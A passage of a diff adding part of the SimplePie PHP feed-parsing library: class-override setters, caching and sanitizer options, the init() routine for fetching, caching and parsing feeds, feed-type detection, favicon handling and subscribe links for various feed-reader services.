+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_author_class($class = 'SimplePie_Author')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Author'))
+		{
+			$this->author_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling category data.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_category_class($class = 'SimplePie_Category')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Category'))
+		{
+			$this->category_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for feed enclosures.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_enclosure_class($class = 'SimplePie_Enclosure')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Enclosure'))
+		{
+			$this->enclosure_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:text> captions
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_caption_class($class = 'SimplePie_Caption')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Caption'))
+		{
+			$this->caption_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:copyright>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_copyright_class($class = 'SimplePie_Copyright')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Copyright'))
+		{
+			$this->copyright_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:credit>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_credit_class($class = 'SimplePie_Credit')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Credit'))
+		{
+			$this->credit_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:rating>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_rating_class($class = 'SimplePie_Rating')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Rating'))
+		{
+			$this->rating_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:restriction>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_restriction_class($class = 'SimplePie_Restriction')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Restriction'))
+		{
+			$this->restriction_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for content-type sniffing.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Content_Type_Sniffer'))
+		{
+			$this->content_type_sniffer_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses item sources.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_source_class($class = 'SimplePie_Source')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Source'))
+		{
+			$this->source_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to override the default user agent string.
+	 *
+	 * @access public
+	 * @param string $ua New user agent string.
+	 */
+	function set_useragent($ua = SIMPLEPIE_USERAGENT)
+	{
+		$this->useragent = (string) $ua;
+	}
+
+	/**
+	 * Set callback function to create cache filename with
+	 *
+	 * @access public
+	 * @param mixed $function Callback function
+	 */
+	function set_cache_name_function($function = 'md5')
+	{
+		if (is_callable($function))
+		{
+			$this->cache_name_function = $function;
+		}
+	}
+
+	/**
+	 * Set javascript query string parameter
+	 *
+	 * @access public
+	 * @param mixed $get Javascript query string parameter
+	 */
+	function set_javascript($get = 'js')
+	{
+		if ($get)
+		{
+			$this->javascript = (string) $get;
+		}
+		else
+		{
+			$this->javascript = false;
+		}
+	}
+
+	/**
+	 * Set options to make SP as fast as possible.  Forgoes a
+	 * substantial amount of data sanitization in favor of speed.
+	 *
+	 * @access public
+	 * @param bool $set Whether to set them or not
+	 */
+	function set_stupidly_fast($set = false)
+	{
+		if ($set)
+		{
+			$this->enable_order_by_date(false);
+			$this->remove_div(false);
+			$this->strip_comments(false);
+			$this->strip_htmltags(false);
+			$this->strip_attributes(false);
+			$this->set_image_handler(false);
+		}
+	}
+
+	/**
+	 * Set maximum number of feeds to check with autodiscovery
+	 *
+	 * @access public
+	 * @param int $max Maximum number of feeds to check
+	 */
+	function set_max_checked_feeds($max = 10)
+	{
+		$this->max_checked_feeds = (int) $max;
+	}
+
+	function remove_div($enable = true)
+	{
+		$this->sanitize->remove_div($enable);
+	}
+
+	function strip_htmltags($tags = '', $encode = null)
+	{
+		if ($tags === '')
+		{
+			$tags = $this->strip_htmltags;
+		}
+		$this->sanitize->strip_htmltags($tags);
+		if ($encode !== null)
+		{
+			$this->sanitize->encode_instead_of_strip($tags);
+		}
+	}
+
+	function encode_instead_of_strip($enable = true)
+	{
+		$this->sanitize->encode_instead_of_strip($enable);
+	}
+
+	function strip_attributes($attribs = '')
+	{
+		if ($attribs === '')
+		{
+			$attribs = $this->strip_attributes;
+		}
+		$this->sanitize->strip_attributes($attribs);
+	}
+
+	function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->sanitize->set_output_encoding($encoding);
+	}
+
+	function strip_comments($strip = false)
+	{
+		$this->sanitize->strip_comments($strip);
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * @access public
+	 * @since 1.0
+	 * @param array $element_attribute Element/attribute key/value pairs
+	 */
+	function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite'))
+	{
+		$this->sanitize->set_url_replacements($element_attribute);
+	}
+
+	/**
+	 * Set the handler to enable the display of cached favicons.
+	 *
+	 * @access public
+	 * @param str $page Web-accessible path to the handler_favicon.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	function set_favicon_handler($page = false, $qs = 'i')
+	{
+		if ($page != false)
+		{
+			$this->favicon_handler = $page . '?' . $qs . '=';
+		}
+		else
+		{
+			$this->favicon_handler = '';
+		}
+	}
+
+	/**
+	 * Set the handler to enable the display of cached images.
+	 *
+	 * @access public
+	 * @param str $page Web-accessible path to the handler_image.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	function set_image_handler($page = false, $qs = 'i')
+	{
+		if ($page != false)
+		{
+			$this->sanitize->set_image_handler($page . '?' . $qs . '=');
+		}
+		else
+		{
+			$this->image_handler = '';
+		}
+	}
+
+	/**
+	 * Set the limit for items returned per-feed with multifeeds.
+	 *
+	 * @access public
+	 * @param integer $limit The maximum number of items to return.
+	 */
+	function set_item_limit($limit = 0)
+	{
+		$this->item_limit = (int) $limit;
+	}
+
+	function init()
+	{
+		if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
+		{
+			return false;
+		}
+		if (isset($_GET[$this->javascript]))
+		{
+			if (function_exists('ob_gzhandler'))
+			{
+				ob_start('ob_gzhandler');
+			}
+			header('Content-type: text/javascript; charset: UTF-8');
+			header('Cache-Control: must-revalidate');
+			header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+			?>
+function embed_odeo(link) {
+	document.writeln('<embed src="http://odeo.com/flash/audio_player_fullsize.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="440" height="80" wmode="transparent" allowScriptAccess="any" flashvars="valid_sample_rate=true&external_url='+link+'"></embed>');
+}
+
+function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
+	if (placeholder != '') {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+	else {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+}
+
+function embed_flash(bgcolor, width, height, link, loop, type) {
+	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
+}
+
+function embed_flv(width, height, link, placeholder, loop, player) {
+	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
+}
+
+function embed_wmedia(width, height, link) {
+	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
+}
+			<?php
+			exit;
+		}
+
+		// Pass whatever was set with config options over to the sanitizer.
+		$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
+		$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);
+
+		if ($this->feed_url !== null || $this->raw_data !== null)
+		{
+			$this->data = array();
+			$this->multifeed_objects = array();
+			$cache = false;
+
+			if ($this->feed_url !== null)
+			{
+				$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
+				// Decide whether to enable caching
+				if ($this->cache && $parsed_feed_url['scheme'] !== '')
+				{
+					$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
+				}
+				// If it's enabled and we don't want an XML dump, use the cache
+				if ($cache && !$this->xml_dump)
+				{
+					// Load the Cache
+					$this->data = $cache->load();
+					if (!empty($this->data))
+					{
+						// If the cache is for an outdated build of SimplePie
+						if (!isset($this->data['build']) || $this->data['build'] != SIMPLEPIE_BUILD)
+						{
+							$cache->unlink();
+							$this->data = array();
+						}
+						// If we've hit a collision just rerun it with caching disabled
+						elseif (isset($this->data['url']) && $this->data['url'] != $this->feed_url)
+						{
+							$cache = false;
+							$this->data = array();
+						}
+						// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
+						elseif (isset($this->data['feed_url']))
+						{
+							// If the autodiscovery cache is still valid use it.
+							if ($cache->mtime() + $this->autodiscovery_cache_duration > time())
+							{
+								// Do not need to do feed autodiscovery yet.
+								if ($this->data['feed_url'] == $this->data['url'])
+								{
+									$cache->unlink();
+									$this->data = array();
+								}
+								else
+								{
+									$this->set_feed_url($this->data['feed_url']);
+									return $this->init();
+								}
+							}
+						}
+						// Check if the cache has been updated
+						elseif ($cache->mtime() + $this->cache_duration < time())
+						{
+							// If we have last-modified and/or etag set
+							if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag']))
+							{
+								$headers = array();
+								if (isset($this->data['headers']['last-modified']))
+								{
+									$headers['if-modified-since'] = $this->data['headers']['last-modified'];
+								}
+								if (isset($this->data['headers']['etag']))
+								{
+									$headers['if-none-match'] = '"' . $this->data['headers']['etag'] . '"';
+								}
+								$file =& new $this->file_class($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen);
+								if ($file->success)
+								{
+									if ($file->status_code == 304)
+									{
+										$cache->touch();
+										return true;
+									}
+									else
+									{
+										$headers = $file->headers;
+									}
+								}
+								else
+								{
+									unset($file);
+								}
+							}
+						}
+						// If the cache is still valid, just return true
+						else
+						{
+							return true;
+						}
+					}
+					// If the cache is empty, delete it
+					else
+					{
+						$cache->unlink();
+						$this->data = array();
+					}
+				}
+				// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
+				if (!isset($file))
+				{
+					if (is_a($this->file, 'SimplePie_File') && $this->file->url == $this->feed_url)
+					{
+						$file =& $this->file;
+					}
+					else
+					{
+						$file =& new $this->file_class($this->feed_url, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen);
+					}
+				}
+				// If the file connection has an error, set SimplePie::error to that and quit
+				if (!$file->success)
+				{
+					$this->error = $file->error;
+					if (!empty($this->data))
+					{
+						return true;
+					}
+					else
+					{
+						return false;
+					}
+				}
+
+				if (!$this->force_feed)
+				{
+					// Check if the supplied URL is a feed, if it isn't, look for it.
+					$locate =& new $this->locator_class($file, $this->timeout, $this->useragent, $this->file_class, $this->max_checked_feeds, $this->content_type_sniffer_class);
+					if (!$locate->is_feed($file))
+					{
+						// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
+						unset($file);
+						if ($file = $locate->find($this->autodiscovery))
+						{
+							if ($cache)
+							{
+								$this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD);
+								if (!$cache->save($this))
+								{
+									trigger_error("$cache->name is not writeable", E_USER_WARNING);
+								}
+								$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc');
+							}
+							$this->feed_url = $file->url;
+						}
+						else
+						{
+							$this->error = "A feed could not be found at $this->feed_url";
+							SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+							return false;
+						}
+					}
+					$locate = null;
+				}
+
+				$headers = $file->headers;
+				$data = $file->body;
+				$sniffer =& new $this->content_type_sniffer_class($file);
+				$sniffed = $sniffer->get_type();
+			}
+			else
+			{
+				$data = $this->raw_data;
+			}
+
+			// Set up array of possible encodings
+			$encodings = array();
+
+			// First check to see if input has been overridden.
+			if ($this->input_encoding !== false)
+			{
+				$encodings[] = $this->input_encoding;
+			}
+
+			$application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity');
+			$text_types = array('text/xml', 'text/xml-external-parsed-entity');
+
+			// RFC 3023 (only applies to sniffed content)
+			if (isset($sniffed))
+			{
+				if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml')
+				{
+					if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+					{
+						$encodings[] = strtoupper($charset[1]);
+					}
+					$encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data));
+					$encodings[] = 'UTF-8';
+				}
+				elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml')
+				{
+					if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+					{
+						$encodings[] = $charset[1];
+					}
+					$encodings[] = 'US-ASCII';
+				}
+				// Text MIME-type default
+				elseif (substr($sniffed, 0, 5) === 'text/')
+				{
+					$encodings[] = 'US-ASCII';
+				}
+			}
+
+			// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
+			$encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data));
+			$encodings[] = 'UTF-8';
+			$encodings[] = 'ISO-8859-1';
+
+			// There's no point in trying an encoding twice
+			$encodings = array_unique($encodings);
+
+			// If we want the XML, just output that with the most likely encoding and quit
+			if ($this->xml_dump)
+			{
+				header('Content-type: text/xml; charset=' . $encodings[0]);
+				echo $data;
+				exit;
+			}
+
+			// Loop through each possible encoding, till we return something, or run out of possibilities
+			foreach ($encodings as $encoding)
+			{
+				// Change the encoding to UTF-8 (as we always use UTF-8 internally)
+				if ($utf8_data = SimplePie_Misc::change_encoding($data, $encoding, 'UTF-8'))
+				{
+					// Create new parser
+					$parser =& new $this->parser_class();
+
+					// If it's parsed fine
+					if ($parser->parse($utf8_data, 'UTF-8'))
+					{
+						$this->data = $parser->get_data();
+						if ($this->get_type() & ~SIMPLEPIE_TYPE_NONE)
+						{
+							if (isset($headers))
+							{
+								$this->data['headers'] = $headers;
+							}
+							$this->data['build'] = SIMPLEPIE_BUILD;
+
+							// Cache the file if caching is enabled
+							if ($cache && !$cache->save($this))
+							{
+								trigger_error("$cache->name is not writeable", E_USER_WARNING);
+							}
+							return true;
+						}
+						else
+						{
+							$this->error = "A feed could not be found at $this->feed_url";
+							SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+							return false;
+						}
+					}
+				}
+			}
+			// We have an error, just set SimplePie::error to it and quit
+			$this->error = sprintf('XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
+			SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+			return false;
+		}
+		elseif (!empty($this->multifeed_url))
+		{
+			$i = 0;
+			$success = 0;
+			$this->multifeed_objects = array();
+			foreach ($this->multifeed_url as $url)
+			{
+				if (SIMPLEPIE_PHP5)
+				{
+					// This keyword needs to defy coding standards for PHP4 compatibility
+					$this->multifeed_objects[$i] = clone($this);
+				}
+				else
+				{
+					$this->multifeed_objects[$i] = $this;
+				}
+				$this->multifeed_objects[$i]->set_feed_url($url);
+				$success |= $this->multifeed_objects[$i]->init();
+				$i++;
+			}
+			return (bool) $success;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Return the error message for the occured error
+	 *
+	 * @access public
+	 * @return string Error message
+	 */
+	function error()
+	{
+		return $this->error;
+	}
+
+	function get_encoding()
+	{
+		return $this->sanitize->output_encoding;
+	}
+
+	function handle_content_type($mime = 'text/html')
+	{
+		if (!headers_sent())
+		{
+			$header = "Content-type: $mime;";
+			if ($this->get_encoding())
+			{
+				$header .= ' charset=' . $this->get_encoding();
+			}
+			else
+			{
+				$header .= ' charset=UTF-8';
+			}
+			header($header);
+		}
+	}
+
+	function get_type()
+	{
+		if (!isset($this->data['type']))
+		{
+			$this->data['type'] = SIMPLEPIE_TYPE_ALL;
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF']))
+			{
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_10;
+				}
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_090;
+				}
+			}
+			elseif (isset($this->data['child']['']['rss']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL;
+				if (isset($this->data['child']['']['rss'][0]['attribs']['']['version']))
+				{
+					switch (trim($this->data['child']['']['rss'][0]['attribs']['']['version']))
+					{
+						case '0.91':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091;
+							if (isset($this->data['child']['']['rss'][0]['child']['']['skiphours']['hour'][0]['data']))
+							{
+								switch (trim($this->data['child']['']['rss'][0]['child']['']['skiphours']['hour'][0]['data']))
+								{
+									case '0':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE;
+										break;
+
+									case '24':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND;
+										break;
+								}
+							}
+							break;
+
+						case '0.92':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_092;
+							break;
+
+						case '0.93':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_093;
+							break;
+
+						case '0.94':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_094;
+							break;
+
+						case '2.0':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_20;
+							break;
+					}
+				}
+			}
+			else
+			{
+				$this->data['type'] = SIMPLEPIE_TYPE_NONE;
+			}
+		}
+		return $this->data['type'];
+	}
+
+	/**
+	 * Returns the URL for the favicon of the feed's website.
+	 *
+	 * @todo Cache atom:icon
+	 * @access public
+	 * @since 1.0
+	 */
+	function get_favicon()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif (($url = $this->get_link()) !== null && preg_match('/^http(s)?:\/\//i', $url))
+		{
+			$favicon = SimplePie_Misc::absolutize_url('/favicon.ico', $url);
+
+			if ($this->cache && $this->favicon_handler)
+			{
+				$favicon_filename = call_user_func($this->cache_name_function, $favicon);
+				$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $favicon_filename, 'spi');
+
+				if ($cache->load())
+				{
+					return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI);
+				}
+				else
+				{
+					$file =& new $this->file_class($favicon, $this->timeout / 10, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen);
+
+					if ($file->success && ($file->status_code == 200 || ($file->status_code > 206 && $file->status_code < 300)) && strlen($file->body) > 0)
+					{
+						$sniffer =& new $this->content_type_sniffer_class($file);
+						if (substr($sniffer->get_type(), 0, 6) === 'image/')
+						{
+							if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+							{
+								return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							else
+							{
+								trigger_error("$cache->name is not writeable", E_USER_WARNING);
+								return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI);
+							}
+						}
+					}
+				}
+			}
+			else
+			{
+				return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI);
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * @todo If we have a perm redirect we should return the new URL
+	 * @todo When we make the above change, let's support <itunes:new-feed-url> as well
+	 * @todo Also, |atom:link|@rel=self
+	 */
+	function subscribe_url()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_feed()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_outlook()
+	{
+		if ($this->feed_url !== null)
+		{
+			return 'outlook' . $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_podcast()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 3), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_itunes()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 4), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Creates the subscribe_* methods' return data
+	 *
+	 * @access private
+	 * @param string $feed_url String to prefix to the feed URL
+	 * @param string $site_url String to prefix to the site URL (and
+	 * suffix to the feed URL)
+	 * @return mixed URL if feed exists, false otherwise
+	 */
+	function subscribe_service($feed_url, $site_url = null)
+	{
+		if ($this->subscribe_url())
+		{
+			$return = $this->sanitize($feed_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->feed_url);
+			if ($site_url !== null && $this->get_link() !== null)
+			{
+				$return .= $this->sanitize($site_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_link());
+			}
+			return $return;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_aol()
+	{
+		return $this->subscribe_service('http://feeds.my.aol.com/add.jsp?url=');
+	}
+
+	function subscribe_bloglines()
+	{
+		return urldecode($this->subscribe_service('http://www.bloglines.com/sub/'));
+	}
+
+	function subscribe_eskobo()
+	{
+		return $this->subscribe_service('http://www.eskobo.com/?AddToMyPage=');
+	}
+
+	function subscribe_feedfeeds()
+	{
+		return $this->subscribe_service('http://www.feedfeeds.com/add?feed=');
+	}
+
+	function subscribe_feedster()
+	{
+		return $this->subscribe_service('http://www.feedster.com/myfeedster.php?action=addrss&confirm=no&rssurl=');
+	}
+
+	function subscribe_google()
+	{
+		return $this->subscribe_service('http://fusion.google.com/add?feedurl=');
+	}
+
+	function subscribe_gritwire()
+	{
+		return $this->subscribe_service('http://my.gritwire.com/feeds/addExternalFeed.aspx?FeedUrl=');
+	}
+
+	function subscribe_msn()
+	{
+		return $this->subscribe_service('http://my.msn.com/addtomymsn.armx?id=rss&ut=', '&ru=');
+	}
+
+	function subscribe_netvibes()
+	{
+		return $this->subscribe_service('http://www.netvibes.com/subscribe.php?url=');
+	}
+
+	function subscribe_newsburst()
+	{
+		return $this->subscribe_service('http://www.newsburst.com/Source/?add=');
+	}
+
+	function subscribe_newsgator()
+	{
+		return $this->subscribe_service('http://www.newsgator.com/ngs/subscriber/subext.aspx?url=');
+	}
+
+	function subscribe_odeo()
+	{
+		return $this->subscribe_service('http://www.odeo.com/listen/subscribe?feed=');
+	}
+
+	function subscribe_podnova()
+	{
+		return $this->subscribe_service('http://www.podnova.com/index_your_podcasts.srf?action=add&url=');
+	}
+
+	function subscribe_rojo()
+	{
+		return $this->subscribe_service('http://www.rojo.com/add-subscription?resource=');
+	}
+
+	function subscribe_yahoo()
+	{
+		return $this->subscribe_service('http://add.my.yahoo.com/rss?url=');
+	}
+
+	function get_feed_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_10)
+		{
